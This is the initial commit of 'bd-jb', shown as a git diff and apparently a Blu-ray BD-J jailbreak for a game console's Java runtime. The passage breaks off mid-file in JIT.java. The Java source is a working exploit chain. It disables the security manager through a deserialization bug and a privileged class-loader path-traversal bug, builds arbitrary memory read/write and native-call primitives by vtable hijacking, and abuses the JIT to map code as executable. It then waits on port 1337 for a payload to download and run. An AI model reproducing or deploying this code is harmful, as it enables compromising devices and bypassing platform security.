commit 8f0a5539e8c8a31c77d79d41f5c86c4c52adde65 Author: Andy Nguyen Date: Sun Oct 24 17:23:44 2021 +0200 Initial commit. diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..035c0b5 --- /dev/null +++ b/.gitignore @@ -0,0 +1,8 @@ +.idea/ +tools/ +lib/ +disc/CERTIFICATE/id.bdmv +disc/BDMV/index.bdmv +disc/BDMV/MovieObject.bdmv +disc/BDMV/JAR/00000.jar +disc/BDMV/BDJO/00000.bdjo diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..8590ae9 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (C) 2021 Andy Nguyen + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..eb9c49e --- /dev/null +++ b/Makefile @@ -0,0 +1,34 @@ +SRC = \ + com/bdjb/ExploitXlet.java \ + com/bdjb/Exploit.java \ + com/bdjb/ExploitInterface.java \ + com/bdjb/ExploitUserPrefsImpl.java \ + com/bdjb/ExploitServiceProxyImpl.java \ + com/bdjb/IxcProxyImpl.java \ + com/bdjb/ServiceInterface.java \ + com/bdjb/ServiceImpl.java \ + com/bdjb/ProviderAccessorImpl.java \ + com/bdjb/PayloadClassLoader.java \ + com/bdjb/Payload.java \ + com/bdjb/UnsafeInterface.java \ + com/bdjb/UnsafeJdkImpl.java \ + com/bdjb/UnsafeSunImpl.java \ + com/bdjb/API.java \ + com/bdjb/JIT.java \ + com/bdjb/Screen.java \ + +all: + javac com/bdjb/PayloadClassLoaderSerializer.java && java com/bdjb/PayloadClassLoaderSerializer + javac -source 1.4 -target 1.4 -bootclasspath "lib/rt.jar:lib/bdjstack.jar:lib/fakejdk.jar" $(SRC) + jar cf disc/BDMV/JAR/00000.jar com/bdjb/*.class com/bdjb/*.ser com/bdjb/bluray.ExploitXlet.perm + java -cp "tools/security.jar:tools/bcprov-jdk15-137.jar:tools/tools.jar" net.java.bd.tools.security.BDSigner disc/BDMV/JAR/00000.jar + java -jar tools/bdjo.jar bdmv/bdjo.xml disc/BDMV/BDJO/00000.bdjo + java -jar tools/MovieObject.jar bdmv/MovieObject.xml disc/BDMV/MovieObject.bdmv + java -jar tools/index.jar bdmv/index.xml disc/BDMV/index.bdmv + java -jar tools/id.jar bdmv/id.xml disc/CERTIFICATE/id.bdmv + +clean: + rm -rf *.class + rm -rf com/bdjb/*.class + rm -rf com/bdjb/*.ser + rm -rf META-INF diff --git a/README.md b/README.md new file mode 100644 index 0000000..8b470c5 --- /dev/null +++ b/README.md @@ -0,0 +1,7 @@ +# bd-jb + +The first bd-j hack. + +# Credits + +- bd-j tools from https://github.com/zathras/java.net \ No newline at end of file diff --git a/bdmv/MovieObject.xml b/bdmv/MovieObject.xml new file mode 100644 index 0000000..4112f13 --- /dev/null +++ b/bdmv/MovieObject.xml @@ -0,0 +1,29 @@ + + + 0200 + + + + 21810000 00000001 00000000 + + + false + false + false + + + + + 21810000 00000001 00000000 + + + false + false + false + + + + + 0 + 0 + diff --git a/bdmv/bdjo.xml b/bdmv/bdjo.xml new file mode 100644 index 0000000..da6cc69 --- /dev/null +++ b/bdmv/bdjo.xml @@ -0,0 +1,47 @@ + + + + + *.* + 00000 + 1 + + + + + + 00000 + TITLE_BOUND_DISC_BOUND + + 0x0 + + com.bdjb.ExploitXlet + 128 + + 1 + 0 + 0 + 1 + + V_01 + + 0x4000 + 0x1 + 0x56789abc + 0x1 + + + . + 0x0 + + false + false + + + 00000 + HD_1920_1080 + false + false + + V_0200 + diff --git a/bdmv/id.xml b/bdmv/id.xml new file mode 100644 index 0000000..425f55d --- /dev/null +++ b/bdmv/id.xml @@ -0,0 +1,6 @@ + + + 0x00000000000000000000000000000001 + 0x56789abc + 0200 + diff --git a/bdmv/index.xml b/bdmv/index.xml new file mode 100644 index 0000000..6ffc745 --- /dev/null +++ b/bdmv/index.xml @@ -0,0 +1,32 @@ + + + + + + + + 0x0 + HDMVPlayback_MOVIE + + + + + 0x1 + HDMVPlayback_INTERACTIVE + + + + + <indexObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="BDJIndexObject"> + <BDJOName>00000</BDJOName> + <playbackType>BDJPlayback_MOVIE</playbackType> + </indexObject> + <titleAccessType>V_00</titleAccessType> + + + + 0 + 0 + 0 + 0200 + diff --git a/com/bdjb/API.java b/com/bdjb/API.java new file mode 100644 index 0000000..7e05f82 --- /dev/null +++ b/com/bdjb/API.java @@ -0,0 +1,569 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** API class to access native data and execute native code. */ +final class API { + static final int INT8_SIZE = 1; + static final int INT16_SIZE = 2; + static final int INT32_SIZE = 4; + static final int INT64_SIZE = 8; + + static final long RTLD_DEFAULT = -2; + + static final long LIBC_MODULE_HANDLE = 0x2; + static final long LIBKERNEL_MODULE_HANDLE = 0x2001; + static final long LIBJAVA_MODULE_HANDLE = 0x4A; + + private static final String UNSUPPORTED_DLOPEN_OPERATION_STRING = + "Unsupported dlopen() operation"; + + private static final String SETJMP_SYMBOL = "setjmp"; + private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext"; + private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath"; + private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL = + "Java_java_lang_reflect_Array_multiNewArray"; + + private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray"; + private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(Ljava/lang/Class;[I)J"; + + private static final String NATIVE_LIBRARY_CLASS_NAME = "java.lang.ClassLoader$NativeLibrary"; + private static final String FIND_ENTRY_METHOD_NAME = "findEntry"; + private static final String FIND_METHOD_NAME = "find"; + private static final String HANDLE_FIELD_NAME = "handle"; + + private static final int[] MULTI_NEW_ARRAY_DIMENSIONS = new int[] {1}; + + private static final String VALUE_FIELD_NAME = "value"; + + private static final Long LONG_VALUE = new Long(1337); + + private static API instance; + + private UnsafeInterface unsafe; + + private long longValueOffset; + + private Object nativeLibrary; + private Method findMethod; + private Field handleField; + + private long executableHandle; + + private long Java_java_lang_reflect_Array_multiNewArray; + private long JVM_NativePath; + private long __Ux86_64_setcontext; + private long setjmp; + + private boolean jdk11; + + private API() throws Exception { + this.init(); + } + + static synchronized API getInstance() throws Exception { + if (instance == null) { + instance = new API(); + } + return instance; + } + + private native long multiNewArray(Class componentType, int[] dimensions); + + private void init() throws Exception { + initUnsafe(); + initDlsym(); + initSymbols(); + initApiCall(); + } + + private void initUnsafe() throws Exception { + try { + unsafe = new UnsafeSunImpl(); + jdk11 = false; + } catch (ClassNotFoundException e) { + unsafe = new UnsafeJdkImpl(); + jdk11 = true; + } + + longValueOffset = unsafe.objectFieldOffset(Long.class.getDeclaredField(VALUE_FIELD_NAME)); + } + + private void initDlsym() throws Exception { + Class nativeLibraryClass = Class.forName(NATIVE_LIBRARY_CLASS_NAME); + + if (jdk11) { + findMethod = + nativeLibraryClass.getDeclaredMethod(FIND_ENTRY_METHOD_NAME, new Class[] {String.class}); + } else { + findMethod = + nativeLibraryClass.getDeclaredMethod(FIND_METHOD_NAME, new Class[] {String.class}); + } + + handleField = nativeLibraryClass.getDeclaredField(HANDLE_FIELD_NAME); + findMethod.setAccessible(true); + handleField.setAccessible(true); + + Constructor nativeLibraryConstructor = + nativeLibraryClass.getDeclaredConstructor( + new Class[] {Class.class, String.class, boolean.class}); + nativeLibraryConstructor.setAccessible(true); + + nativeLibrary = + nativeLibraryConstructor.newInstance(new Object[] {getClass(), "api", new Boolean(true)}); + } + + private void initSymbols() { + JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL); + if (JVM_NativePath == 0) { + throw new IllegalArgumentException("JVM_NativePath symbol could not be found."); + } + + __Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL); + + if (__Ux86_64_setcontext == 0) { + // In earlier versions, there's a bug where only the main executable's handle is used. + executableHandle = JVM_NativePath & ~(4 - 1); + while (strcmp(executableHandle, UNSUPPORTED_DLOPEN_OPERATION_STRING) != 0) { + executableHandle += 4; + } + executableHandle -= 4; + + // Try again. + __Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL); + } + + if (__Ux86_64_setcontext == 0) { + throw new IllegalArgumentException("__Ux86_64_setcontext symbol could not be found."); + } + + if (jdk11) { + Java_java_lang_reflect_Array_multiNewArray = + dlsym(LIBJAVA_MODULE_HANDLE, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL); + } else { + Java_java_lang_reflect_Array_multiNewArray = + dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL); + } + if (Java_java_lang_reflect_Array_multiNewArray == 0) { + throw new IllegalArgumentException( + "Java_java_lang_reflect_Array_multiNewArray symbol could not be found."); + } + + setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL); + if (setjmp == 0) { + throw new IllegalArgumentException("setjmp symbol could not be found."); + } + } + + private void initApiCall() { + long apiInstance = addrof(this); + long apiKlass = read64(apiInstance + 0x08); + + if (jdk11) { + long methods = read64(apiKlass + 0x170); + int numMethods = read32(methods + 0x00); + + for (int i = 0; i < numMethods; i++) { + long method = read64(methods + 0x08 + i * 8); + long constMethod = read64(method + 0x08); + long constants = read64(constMethod + 0x08); + short nameIndex = read16(constMethod + 0x2A); + short signatureIndex = read16(constMethod + 0x2C); + long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1); + long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1); + short nameLength = read16(nameSymbol + 0x00); + short signatureLength = read16(signatureSymbol + 0x00); + + String name = readString(nameSymbol + 0x06, nameLength); + String signature = readString(signatureSymbol + 0x06, signatureLength); + if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME) + && signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) { + write64(method + 0x50, Java_java_lang_reflect_Array_multiNewArray); + return; + } + } + } else { + long methods = read64(apiKlass + 0xC8); + int numMethods = read32(methods + 0x10); + + for (int i = 0; i < numMethods; i++) { + long method = read64(methods + 0x18 + i * 8); + long constMethod = read64(method + 0x10); + long constants = read64(method + 0x18); + short nameIndex = read16(constMethod + 0x42); + short signatureIndex = read16(constMethod + 0x44); + long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1); + long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1); + short nameLength = read16(nameSymbol + 0x08); + short signatureLength = read16(signatureSymbol + 0x08); + + String name = readString(nameSymbol + 0x0A, nameLength); + String signature = readString(signatureSymbol + 0x0A, signatureLength); + if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME) + && signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) { + write64(method + 0x78, Java_java_lang_reflect_Array_multiNewArray); + return; + } + } + } + + throw new IllegalArgumentException("Native method could not be installed."); + } + + private void buildContext( + long contextData, + long setJmpData, + long rip, + long rdi, + long rsi, + long rdx, + long rcx, + long r8, + long r9) { + long rbx = read64(setJmpData + 0x08); + long rsp = read64(setJmpData + 0x10); + long rbp = read64(setJmpData + 0x18); + long r12 = read64(setJmpData + 0x20); + long r13 = read64(setJmpData + 0x28); + long r14 = read64(setJmpData + 0x30); + long r15 = read64(setJmpData + 0x38); + + write64(contextData + 0x48, rdi); + write64(contextData + 0x50, rsi); + write64(contextData + 0x58, rdx); + write64(contextData + 0x60, rcx); + write64(contextData + 0x68, r8); + write64(contextData + 0x70, r9); + write64(contextData + 0x80, rbx); + write64(contextData + 0x88, rbp); + write64(contextData + 0xA0, r12); + write64(contextData + 0xA8, r13); + write64(contextData + 0xB0, r14); + write64(contextData + 0xB8, r15); + write64(contextData + 0xE0, rip); + write64(contextData + 0xF8, rsp); + + write64(contextData + 0x110, 0x41414141); + write64(contextData + 0x118, 0x41414141); + } + + long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) { + long fakeCallKlass = malloc(0x400); + memset(fakeCallKlass, 0, 0x400); + + long fakeCallKlassVtable = malloc(0x400); + for (int i = 0; i < 0x400; i += 8) { + write64(fakeCallKlassVtable + i, JVM_NativePath); + } + + long ret = 0; + + if (jdk11) { + long callClass = addrof(Call.class); + long callKlass = read64(callClass + 0x98); + + write64(fakeCallKlassVtable + 0x158, setjmp); + write64(fakeCallKlass + 0x00, fakeCallKlassVtable); + write64(fakeCallKlass + 0x00, fakeCallKlassVtable); + write64(callClass + 0x98, fakeCallKlass); + multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS); + + buildContext( + fakeCallKlass + 0x00, fakeCallKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5); + + write64(fakeCallKlassVtable + 0x158, __Ux86_64_setcontext); + write64(fakeCallKlass + 0x00, fakeCallKlassVtable); + write64(fakeCallKlass + 0x00, fakeCallKlassVtable); + write64(callClass + 0x98, fakeCallKlass); + ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS); + + write64(callClass + 0x98, callKlass); + } else { + long callClass = addrof(Call.class); + long callKlass = read64(callClass + 0x68); + + write64(fakeCallKlassVtable + 0x230, setjmp); + write64(fakeCallKlass + 0x10, fakeCallKlassVtable); + write64(fakeCallKlass + 0x20, fakeCallKlassVtable); + write64(callClass + 0x68, fakeCallKlass); + multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS); + + buildContext( + fakeCallKlass + 0x20, fakeCallKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5); + + write64(fakeCallKlassVtable + 0x230, __Ux86_64_setcontext); + write64(fakeCallKlass + 0x10, fakeCallKlassVtable); + write64(fakeCallKlass + 0x20, fakeCallKlassVtable); + write64(callClass + 0x68, fakeCallKlass); + ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS); + + write64(callClass + 0x68, callKlass); + } + + free(fakeCallKlassVtable); + free(fakeCallKlass); + + if (ret == 0) { + return 0; + } + + return read64(ret); + } + + long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) { + return call(func, arg0, arg1, arg2, arg3, arg4, (long) 0); + } + + long call(long func, long arg0, long arg1, long arg2, long arg3) { + return call(func, arg0, arg1, arg2, arg3, (long) 0); + } + + long call(long func, long arg0, long arg1, long arg2) { + return call(func, arg0, arg1, arg2, (long) 0); + } + + long call(long func, long arg0, long arg1) { + return call(func, arg0, arg1, (long) 0); + } + + long call(long func, long arg0) { + return call(func, arg0, (long) 0); + } + + long call(long func) { + return call(func, (long) 0); + } + + long dlsym(long handle, String symbol) { + int oldHandle = (int) RTLD_DEFAULT; + try { + if (executableHandle != 0) { + // In earlier versions, there's a bug where only the main executable's handle is used. + oldHandle = read32(executableHandle); + write32(executableHandle, (int) handle); + handleField.setLong(nativeLibrary, RTLD_DEFAULT); + } else { + handleField.setLong(nativeLibrary, handle); + } + return ((Long) findMethod.invoke(nativeLibrary, new Object[] {symbol})).longValue(); + } catch (Exception e) { + return 0; + } finally { + if (executableHandle != 0) { + write32(executableHandle, oldHandle); + } + } + } + + long addrof(Object obj) { + try { + unsafe.putObject(LONG_VALUE, longValueOffset, obj); + return unsafe.getLong(LONG_VALUE, longValueOffset); + } catch (Exception e) { + return 0; + } + } + + byte read8(long addr) { + return unsafe.getByte(addr); + } + + short read16(long addr) { + return unsafe.getShort(addr); + } + + int read32(long addr) { + return unsafe.getInt(addr); + } + + long read64(long addr) { + return unsafe.getLong(addr); + } + + void write8(long addr, byte val) { + unsafe.putByte(addr, val); + } + + void write16(long addr, short val) { + unsafe.putShort(addr, val); + } + + void write32(long addr, int val) { + unsafe.putInt(addr, val); + } + + void write64(long addr, long val) { + unsafe.putLong(addr, val); + } + + long malloc(long size) { + return unsafe.allocateMemory(size); + } + + long realloc(long ptr, long size) { + return unsafe.reallocateMemory(ptr, size); + } + + void free(long ptr) { + unsafe.freeMemory(ptr); + } + + long memcpy(long dest, long src, long n) { + for (int i = 0; i < n; i++) { + write8(dest + i, read8(src + i)); + } + return dest; + } + + long memcpy(long dest, byte[] src, long n) { + for (int i = 0; i < n; i++) { + write8(dest + i, src[i]); + } + return dest; + } + + byte[] memcpy(byte[] dest, long src, long n) { + for (int i = 0; i < n; i++) { + dest[i] = read8(src + i); + } + return dest; + } + + long memset(long s, int c, long n) { + for (int i = 0; i < n; i++) { + write8(s + i, (byte) c); + } + return s; + } + + byte[] memset(byte[] s, int c, long n) { + for (int i = 0; i < n; i++) { + s[i] = (byte) c; + } + return s; + } + + int memcmp(long s1, long s2, long n) { + for (int i = 0; i < n; i++) { + byte b1 = read8(s1 + i); + byte b2 = read8(s2 + i); + if (b1 != b2) { + return (int) b1 - (int) b2; + } + } + return 0; + } + + int memcmp(long s1, byte[] s2, long n) { + for (int i = 0; i < n; i++) { + byte b1 = read8(s1 + i); + byte b2 = s2[i]; + if (b1 != b2) { + return (int) b1 - (int) b2; + } + } + return 0; + } + + int memcmp(byte[] s1, long s2, long n) { + return memcmp(s2, s1, n); + } + + int strcmp(long s1, long s2) { + int i = 0; + while (true) { + byte b1 = read8(s1 + i); + byte b2 = read8(s2 + i); + if (b1 != b2) { + return (int) b1 - (int) b2; + } + if (b1 == (byte) 0 && b2 == (byte) 0) { + return 0; + } + i++; + } + } + + int strcmp(long s1, String s2) { + byte[] bytes = toCBytes(s2); + int i = 0; + while (true) { + byte b1 = read8(s1 + i); + byte b2 = bytes[i]; + if (b1 != b2) { + return (int) b1 - (int) b2; + } + if (b1 == (byte) 0 && b2 == (byte) 0) { + return 0; + } + i++; + } + } + + int strcmp(String s1, long s2) { + return strcmp(s2, s1); + } + + long strcpy(long dest, long src) { + int i = 0; + while (true) { + byte ch = read8(src + i); + write8(dest + i, ch); + if (ch == (byte) 0) { + break; + } + i++; + } + return dest; + } + + long strcpy(long dest, String src) { + byte[] bytes = toCBytes(src); + int i = 0; + while (true) { + byte ch = bytes[i]; + write8(dest + i, ch); + if (ch == (byte) 0) { + break; + } + i++; + } + return dest; + } + + String readString(long src, int n) { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + int i = 0; + while (true) { + byte ch = read8(src + i); + if (ch == (byte) 0 || i == n) { + break; + } + outputStream.write(new byte[] {ch}, 0, 1); + i++; + } + return outputStream.toString(); + } + + String readString(long src) { + return readString(src, -1); + } + + byte[] toCBytes(String str) { + byte[] bytes = new byte[str.length() + 1]; + System.arraycopy(str.getBytes(), 0, bytes, 0, str.length()); + return bytes; + } + + private final class Call {} +} diff --git a/com/bdjb/Exploit.java b/com/bdjb/Exploit.java new file mode 100644 index 0000000..a31054b --- /dev/null +++ b/com/bdjb/Exploit.java @@ -0,0 +1,87 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.io.FileOutputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.net.ServerSocket; + +class Exploit implements Runnable { + static void init() { + Screen.println("[+] bd-jb by theflow"); + + Screen.println("[*] Disabling security manager..."); + + ExploitInterface[] exploits = + new ExploitInterface[] {new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl()}; + + for (int i = 0; i < exploits.length; i++) { + try { + exploits[i].trigger(); + if (System.getSecurityManager() == null) { + break; + } + } catch (Exception e) { + continue; + } + } + + if (System.getSecurityManager() != null) { + Screen.println("[-] Error could not disable security manager."); + } + } + + static void start() { + new Thread(new Exploit()).start(); + } + + public void run() { + if (System.getSecurityManager() != null) { + return; + } + + try { + Screen.println("[*] Installing native API..."); + API api = API.getInstance(); + + Screen.println("[*] Enabling JIT..."); + JIT jit = JIT.getInstance(); + + Screen.println("[*] Waiting for payload..."); + + ServerSocket serverSocket = new ServerSocket(1337); + Socket socket = serverSocket.accept(); + + Screen.println("[*] Downloading payload..."); + + InputStream inputStream = socket.getInputStream(); + OutputStream outputStream = new FileOutputStream("/OS/HDD/download0/mnt_ada/payload.bin"); + + byte[] buf = new byte[8192]; + int read; + while ((read = inputStream.read(buf)) > 0) { + outputStream.write(buf, 0, read); + } + + outputStream.close(); + inputStream.close(); + + socket.close(); + + Screen.println("[*] Executing payload..."); + long sceKernelDlsym = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelDlsym"); + long payload = jit.mapPayload("/OS/HDD/download0/mnt_ada/payload.bin"); + int ret = (int) api.call(payload, sceKernelDlsym); + Screen.println("[+] Result: " + Integer.toHexString(ret)); + } catch (Exception e) { + Screen.println("[-] Error: " + e.getCause()); + } + } +} diff --git a/com/bdjb/ExploitInterface.java b/com/bdjb/ExploitInterface.java new file mode 100644 index 0000000..4a27243 --- /dev/null +++ b/com/bdjb/ExploitInterface.java @@ -0,0 +1,12 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +interface ExploitInterface { + public void trigger() throws Exception; +} diff --git a/com/bdjb/ExploitServiceProxyImpl.java b/com/bdjb/ExploitServiceProxyImpl.java new file mode 100644 index 0000000..f6eed4f --- /dev/null +++ b/com/bdjb/ExploitServiceProxyImpl.java @@ -0,0 +1,60 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.io.FileOutputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.URL; +import java.net.URLClassLoader; +import java.security.Security; +import java.security.Provider; + +/** Implementation of the service+proxy exploit. */ +class ExploitServiceProxyImpl implements ExploitInterface { + private static final String SERVICE_CLASS_NAME = "com.oracle.security.Service"; + + private static final String NEW_INSTANCE_METHOD_NAME = "newInstance"; + private static final String NEW_INSTANCE_METHOD_SIGNATURE = + "(Ljava/lang/Object;)Ljava/lang/Object;"; + + private static final String JAR_URL = + "file:///app0/bdjstack/lib/ext/../../../../disc/BDMV/JAR/00000.jar"; + + private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload"; + + public void trigger() throws Exception { + // Throw exception if class does not exist. + Class.forName(SERVICE_CLASS_NAME); + + IxcProxyImpl proxy = IxcProxyImpl.getInstance(); + + // Prepare service object with the class to be instantiated. + Provider[] providers = Security.getProviders(); + ServiceImpl service = + new ServiceImpl( + providers[0], "exploit", "exploit", URLClassLoader.class.getName(), null, null); + ProviderAccessorImpl providerAccessor = new ProviderAccessorImpl(providers); + providerAccessor.putService(providers[0], service); + providerAccessor.setProviderAccessor(); + + // Instantiate the URLClassLoader class with privileges and a vulnerable path. + URL[] urls = new URL[] {new URL(JAR_URL)}; + URLClassLoader urlClassLoader = + (URLClassLoader) + proxy.invokeMethod( + service, + NEW_INSTANCE_METHOD_NAME, + NEW_INSTANCE_METHOD_SIGNATURE, + new Object[] {urls}); + + // Instantiate the payload class with all permissions to disable the security manager. + Class payloadClass = urlClassLoader.loadClass(PAYLOAD_CLASS_NAME); + payloadClass.newInstance(); + } +} diff --git a/com/bdjb/ExploitUserPrefsImpl.java b/com/bdjb/ExploitUserPrefsImpl.java new file mode 100644 index 0000000..337f0a4 --- /dev/null +++ b/com/bdjb/ExploitUserPrefsImpl.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.io.InputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.io.FileOutputStream; +import org.havi.ui.HSceneFactory; + +/** Implementation of the userprefs deserialization exploit. */ +class ExploitUserPrefsImpl implements ExploitInterface { + private static final String MNT_ADA_USERPREFS = "/OS/HDD/download0/mnt_ada/userprefs"; + + private static final String PAYLOAD_CLASS_LOADER_SER = "/com/bdjb/PayloadClassLoader.ser"; + + public void trigger() throws Exception { + try { + // Overwrite userprefs with a serialized PayloadClassLoader. + InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_LOADER_SER); + OutputStream outputStream = new FileOutputStream(MNT_ADA_USERPREFS); + + byte[] buf = new byte[8192]; + int read; + while ((read = inputStream.read(buf)) > 0) { + outputStream.write(buf, 0, read); + } + + outputStream.close(); + inputStream.close(); + + // Trigger deserialization vulnerability. + try { + HSceneFactory.getInstance().getDefaultHScene(); + } catch (ClassCastException e) { + // Exception expected. + + // Instantiate the payload class. + PayloadClassLoader.getInstance().newPayload(); + } + } finally { + // Restore userprefs file. + String[][] preferences = new String[9][]; + preferences[3] = new String[] {"26"}; + ObjectOutputStream outputStream = + new ObjectOutputStream(new FileOutputStream(MNT_ADA_USERPREFS)); + outputStream.writeObject(preferences); + outputStream.close(); + } + } +} diff --git a/com/bdjb/ExploitXlet.java b/com/bdjb/ExploitXlet.java new file mode 100644 index 0000000..92bd947 --- /dev/null +++ b/com/bdjb/ExploitXlet.java @@ -0,0 +1,45 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.awt.BorderLayout; +import javax.tv.xlet.Xlet; +import javax.tv.xlet.XletContext; +import org.havi.ui.HScene; +import org.havi.ui.HSceneFactory; + +public class ExploitXlet implements Xlet { + private HScene scene; + private Screen screen; + + public void initXlet(XletContext context) { + Exploit.init(); + + screen = Screen.getInstance(); + screen.setSize(1920, 1080); // BD screen size + + scene = HSceneFactory.getInstance().getDefaultHScene(); + scene.add(screen, BorderLayout.CENTER); + scene.validate(); + } + + public void startXlet() { + screen.setVisible(true); + scene.setVisible(true); + Exploit.start(); + } + + public void pauseXlet() { + screen.setVisible(false); + } + + public void destroyXlet(boolean unconditional) { + scene.remove(screen); + scene = null; + } +} diff --git a/com/bdjb/IxcProxyImpl.java b/com/bdjb/IxcProxyImpl.java new file mode 100644 index 0000000..52bc86a --- /dev/null +++ b/com/bdjb/IxcProxyImpl.java @@ -0,0 +1,50 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import com.sony.gemstack.core.CoreAppContext; +import com.sony.gemstack.core.CoreIxcClassLoader; +import com.sony.gemstack.org.dvb.io.ixc.IxcProxy; +import java.rmi.RemoteException; + +/** IxcProxy implementation that allows certain public methods to be invoked with privileges. */ +class IxcProxyImpl extends IxcProxy { + private static IxcProxyImpl instance; + + private Object remote; + + private IxcProxyImpl(CoreIxcClassLoader localClassLoader, CoreIxcClassLoader remoteClassLoader) { + super(localClassLoader, remoteClassLoader); + } + + static synchronized IxcProxyImpl getInstance() { + if (instance == null) { + CoreIxcClassLoader coreIxcClassLoader = CoreAppContext.getContext().getIxcClassLoader(); + instance = new IxcProxyImpl(coreIxcClassLoader, coreIxcClassLoader); + } + return instance; + } + + public Object getRemote() { + return remote; + } + + public void forgetRemote() {} + + /** Override to avoid serializing the return object. */ + protected Object replaceObject(Object obj, CoreIxcClassLoader coreIxcClassLoader) + throws RemoteException { + return obj; + } + + public Object invokeMethod(Object obj, String name, String signature, Object[] args) + throws Exception { + this.remote = obj; + return super.invokeMethod(args, name, signature); + } +} diff --git a/com/bdjb/JIT.java b/com/bdjb/JIT.java new file mode 100644 index 0000000..c38b21e --- /dev/null +++ b/com/bdjb/JIT.java @@ -0,0 +1,160 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.io.RandomAccessFile; + +/** + * JIT class that exploits a vulnerability in the runtime-compiler protocol to map payloads to + * executable memory. + */ +final class JIT { + static final int BDJ_MODULE_HANDLE = 0; + + static final int MAX_JIT_SIZE = 24 * 1024 * 1024; // Actually max is 30MB, but let's be safe. + static final int PAGE_SIZE = 0x4000; + static final int ALIGNMENT = 0x100000; + + private static final int CHUNK_SIZE = 0x30; + + private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160; + + private static final int COMPILER_AGENT_REQUEST_SIZE = 0x58; + + private static final byte ACK_MAGIC_NUMBER = (byte) 0xAA; + + private static final byte[] BUFFER_BLOB_CREATE_SEQ = { + (byte) 0x89, (byte) 0xF8, (byte) 0x49, (byte) 0x8B, (byte) 0x0F + }; + + private static final byte[] COMPILER_AGENT_SENDER_THREAD_SEQ = { 